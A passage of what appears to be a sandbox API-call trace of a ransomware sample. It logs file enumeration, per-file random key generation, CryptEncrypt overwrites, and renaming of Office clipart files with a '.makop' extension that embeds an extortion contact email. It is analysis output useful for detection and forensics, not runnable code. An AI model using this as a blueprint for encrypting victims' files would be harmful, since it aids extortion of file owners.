SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.883] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14c3, lpOverlapped=0x0) returned 1 [0105.884] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0) returned 1 [0105.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14d0, lpOverlapped=0x0) returned 1 [0105.885] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.885] SetEndOfFile (hFile=0xf0) returned 1 [0105.892] GetProcessHeap () returned 0x48a0000 [0105.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.893] GetProcessHeap () returned 0x48a0000 [0105.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.893] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.894] CloseHandle (hObject=0xf0) returned 1 [0105.894] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0105.894] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0105.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.895] GetProcessHeap () returned 0x48a0000 [0105.895] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.895] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0105.900] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.900] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.900] GetProcessHeap () returned 0x48a0000 [0105.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.900] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.901] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x135b, lpOverlapped=0x0) returned 1 [0105.906] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1360, dwBufLen=0x1360 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1360) returned 1 [0105.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1360, lpOverlapped=0x0) returned 1 [0105.906] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.907] SetEndOfFile (hFile=0xf0) returned 1 [0105.913] GetProcessHeap () returned 0x48a0000 [0105.913] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.913] GetProcessHeap () returned 0x48a0000 [0105.914] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.914] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.915] CloseHandle (hObject=0xf0) returned 1 [0105.915] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0105.916] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0105.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.916] GetProcessHeap () returned 0x48a0000 [0105.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.916] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0105.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.921] GetProcessHeap () returned 0x48a0000 [0105.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.921] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.921] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.921] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.922] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.922] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.923] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13a6, lpOverlapped=0x0) returned 1 [0105.924] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13b0, dwBufLen=0x13b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13b0) returned 1 [0105.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13b0, lpOverlapped=0x0) returned 1 [0105.925] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.925] SetEndOfFile (hFile=0xf0) returned 1 [0105.931] GetProcessHeap () returned 0x48a0000 [0105.931] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.931] GetProcessHeap () returned 0x48a0000 [0105.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.932] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.933] CloseHandle (hObject=0xf0) returned 1 [0105.933] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0105.933] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0105.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.934] GetProcessHeap () returned 0x48a0000 [0105.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.934] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0105.954] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.954] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.954] GetProcessHeap () returned 0x48a0000 [0105.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.954] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.954] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.955] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.955] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.956] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.956] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x47a, lpOverlapped=0x0) returned 1 [0105.956] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x480, dwBufLen=0x480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x480) returned 1 [0105.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x480, lpOverlapped=0x0) returned 1 [0105.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.957] SetEndOfFile (hFile=0xf0) returned 1 [0105.963] GetProcessHeap () returned 0x48a0000 [0105.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.964] GetProcessHeap () returned 0x48a0000 [0105.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.964] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.965] CloseHandle (hObject=0xf0) returned 1 [0105.965] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0105.966] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0105.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.966] GetProcessHeap () returned 0x48a0000 [0105.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.966] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0105.977] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.977] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.977] GetProcessHeap () returned 0x48a0000 [0105.977] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.977] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.977] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 